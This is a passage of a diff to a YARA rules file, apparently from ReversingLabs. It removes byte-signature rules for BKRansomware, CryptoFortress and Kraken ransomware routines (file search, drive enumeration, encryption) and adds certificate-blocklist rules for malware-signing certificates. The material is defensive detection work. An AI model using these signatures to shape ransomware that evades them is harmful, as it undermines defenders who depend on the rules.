EB ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $write_zoldon_regkey ) and ( all of ( $find_files_p* ) ) and ( all of ( $main_encrypt_function_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "73:e2:f3:4c:9c:24:35:f2:9b:be:0a:3c" and 1480312984 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Bkransomware : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_68C457D7495D2A8D0D7B9042836135C2 : INFO FILE { meta: - description = "Yara rule that detects BKRansomware ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "88dc5c4a-046a-52e2-b108-0a90b91d4fb6" - date = "2020-06-26" - modified = "2020-07-15" + id = "a8ed2e72-d94e-5141-8ceb-181459a729ad" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BKRansomware.yara#L1-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13422-L13438" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3118098f05a13bd161af0cb1ec322878b371ff70b9f3815a04115a214c0965a2" + logic_hash = "3eb63f75f258eec611fa4288302f0ce5e47149ca876265a4a4b65dc33313aaa6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BKRansomware" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F9 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? - 57 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90 - 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? - 8B B5 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B - 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 - 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83 C1 ?? 83 C0 - ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 83 FE ?? 74 ?? - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? - 50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 - FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 57 6A ?? 68 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F9 68 ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 56 6A ?? 53 FF 15 ?? ?? ?? - ?? 8B F0 68 ?? ?? ?? ?? 57 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? - ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? - 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 75 ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 8E ?? ?? ?? ?? 33 - } - $encrypt_files_p2 = { - FF 8D 49 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 33 F6 8D 51 ?? EB ?? 8D 49 ?? 8A 01 41 84 C0 75 ?? 2B CA 74 ?? BB ?? ?? ?? ?? - 8A 84 35 ?? ?? ?? ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? EB - ?? 3C ?? 7C ?? 3C ?? 7F ?? 0F BE C0 83 E8 ?? 99 F7 FB 80 C2 ?? 88 94 35 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 46 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 3B F0 72 ?? 8B 9D ?? ?? ?? - ?? 6A ?? 6A ?? 57 53 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8D 9B ?? ?? ?? ?? - 8A 01 41 84 C0 75 ?? 6A ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 8D 85 ?? ?? ?? ?? 50 53 FF - 15 ?? ?? ?? ?? 03 BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 3B BD ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? - 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "68:c4:57:d7:49:5d:2a:8d:0d:7b:90:42:83:61:35:c2" and 1476921600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cryptofortress : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6B72Ca367D40Fbef16E73E6Eba6A9A59 : INFO FILE { meta: - description = "Yara rule that detects CryptoFortress ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "460289b1-f775-5e0b-8c44-4f6e5c92da60" - date = "2020-06-26" - modified = "2020-07-15" + id = "e1cf9568-9a6a-58cb-81a4-25063ccc1ac7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoFortress.yara#L1-L162" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13440-L13456" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "474893b63523de5ff9eb8a0c91b0677b99ce65056af7f5d02a73e43fa65453c9" + logic_hash = "2b20c16dafcd891c36b28b36093cd3ad3a15f3795f0f2adda61fb0db2835d02d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CryptoFortress" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_drives = { - 55 8B EC 83 C4 ?? 56 57 C7 45 ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 8D 7D ?? B2 ?? B9 ?? ?? ?? ?? A9 ?? ?? ?? ?? 74 ?? 88 17 47 D1 E8 FE C2 49 - 75 ?? C6 07 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F8 8D 75 ?? 8A 16 88 55 ?? 8D 45 ?? 50 - FF 15 ?? ?? ?? ?? 8D 55 ?? C6 42 ?? ?? 83 F8 ?? 75 ?? 60 8D 45 ?? 50 8D 45 ?? 50 6A - ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? - 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 61 46 4F 75 ?? A1 ?? ?? ?? ?? A3 - ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 5F 5E C9 C3 - } - $enum_shared_resources = { - 55 8B EC 83 C4 ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 0B C0 0F - 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 8D 45 ?? 50 FF 75 ?? FF 15 - ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 3D ?? ?? ?? ?? 74 ?? 8B 4D ?? 51 8D 49 ?? 6B C9 ?? 8B - 45 ?? 8D 0C 01 6A ?? 51 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? FF 75 ?? E8 ?? - ?? ?? ?? 83 F8 ?? 76 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 0B C0 74 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 49 75 ?? EB - ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF - 15 ?? ?? ?? ?? C9 C2 - } - $find_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 40 0F 84 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? C6 00 ?? 2B 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 8D ?? ?? ?? ?? C7 04 08 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 8B 8D ?? ?? ?? ?? C7 44 08 ?? - ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F - 85 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 45 ?? - 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 49 8B 1D ?? ?? ?? ?? 51 53 - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8 - 83 C3 ?? 59 E2 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 0B - C9 75 ?? 3B D0 72 ?? EB ?? EB ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C9 C3 - } - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 33 C0 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 - 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? FF 35 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 50 50 6A ?? 50 6A ?? 68 ?? ?? ?? ?? - FF 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8D 45 - ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? - 83 7D ?? ?? 75 ?? 83 7D ?? ?? 73 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? BB ?? ?? ?? ?? - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B D2 75 ?? 0B C9 75 ?? B9 ?? ?? ?? ?? 89 4D ?? 89 55 ?? - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 89 55 ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 4D ?? 89 55 ?? 0B DB 75 ?? 0B C0 74 ?? 83 45 ?? ?? 83 55 ?? ?? FF 75 ?? - FF 75 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? - ?? ?? 76 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? 6B C0 ?? 89 45 ?? 6A ?? 8D 45 ?? 50 FF 75 - ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ?? - 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? - ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF - 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? DF 6D ?? DA 45 - ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF 6D ?? DA 65 ?? DF 7D ?? C7 45 ?? ?? ?? ?? ?? DF - 6D ?? DA 65 ?? DF 7D ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 74 ?? E9 ?? ?? ?? ?? 8F 45 ?? - 8F 45 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? - ?? ?? 0B C0 74 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? - ?? 0B C0 75 ?? EB ?? 6A ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? - ?? 0B C0 75 ?? EB ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? - ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? - 50 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B C9 C2 - } - $read_config_file = { - 55 8B EC 83 C4 ?? [0-20] 6A ?? 68 ?? ?? ?? ?? 6A - ?? (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 ?? 33 C0 C9 - C3 89 45 ?? 50 6A ?? (E8 | FF 15) ?? ?? ?? ?? 0B - C0 75 04 33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ?? - (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 - 89 45 ?? 50 (E8 | FF 15) ?? ?? ?? ?? 0B C0 75 04 - 33 C0 C9 C3 89 45 ?? FF 75 ?? 6A ?? (E8 | FF 15) - ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 8B - D8 FF 75 ?? FF 75 ?? FF 75 ?? (E8 | FF 15) ?? ?? - ?? ?? FF 75 ?? (E8 | FF 15) ?? ?? ?? ?? 8B 5D ?? - 6A ?? 53 68 ?? ?? ?? ?? (E8 | FF 15) ?? ?? ?? ?? - 83 C3 ?? 8B 45 ?? 83 (E8 | FF 15) ?? 50 53 - (E8 | FF 15) ?? ?? ?? ?? 8A 03 A2 ?? ?? ?? ?? 83 - C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3 - } - $file_type_loop = { - 51 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 - ?? 75 03 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8 83 C3 - ?? 59 E2 DC [20-40] FF B5 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 0B C0 75 44 FF B5 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 - } - $encrypt_routine = { - FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? - [0-10] E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ?? - FF (35 | 75) [1-4] FF 75 ?? (E8 | FF 15) - ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 68 ?? - ?? ?? ?? [1-10] FF (35 | 75) [1-4] 6A ?? - 6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15) ?? - ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ?? - [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 - ?? 75 ?? [10-40] FF (35 | 75) [1-4] FF 75 ?? - (E8 |FF 15) - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "6b:72:ca:36:7d:40:fb:ef:16:e7:3e:6e:ba:6a:9a:59" and 1476748800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_736B7663D322533413F36E3E7E55F920 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "1991779a-8b5d-5188-8a36-c8451923e88f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13458-L13474" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "44e86319106a4bf8edba6c1be2f90d68b3d1ef4591f0cc23921a0dc4da4a407b" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( $read_config_file and $file_type_loop and $encrypt_routine ) or ( $enum_drives and $enum_shared_resources and $find_files and $encrypt_files ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Net Technology" and pe.signatures [ i ] . serial == "73:6b:76:63:d3:22:53:34:13:f3:6e:3e:7e:55:f9:20" and 1159488000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Linux_Ransomware_Kraken : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_54A170102461Fdc967Acfafe4Bbbc7F0 : INFO FILE { meta: - description = "Yara rule that detects Kraken ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7c302c2e-6ffc-5f51-90f4-c4ebd6c1c28b" - date = "2020-06-26" - modified = "2020-07-15" + id = "d012df1d-5e85-57b4-8a79-5da91369a14a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Kraken.yara#L1-L151" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13476-L13492" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4a3867aba4dbdce5d008331a3058f57b00db246975fc4d77b79ab49d5f0bbb15" + logic_hash = "ddae18d566fa2fd077f51d0afff74fb8a8e525f88f23908c7402a4b2c092ad24" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Kraken" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_volumes = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? 00 A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 50 45 4C 00 C7 45 - FC 00 00 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? - 8A 06 84 C0 0F 84 ?? ?? ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8B D4 - C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 83 7A ?? ?? 72 ?? 8B 02 EB ?? 8B C2 C6 00 - ?? 80 3E ?? 75 ?? 33 C9 EB ?? 8B CE 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 51 56 8B CA - E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B D6 8B C8 E8 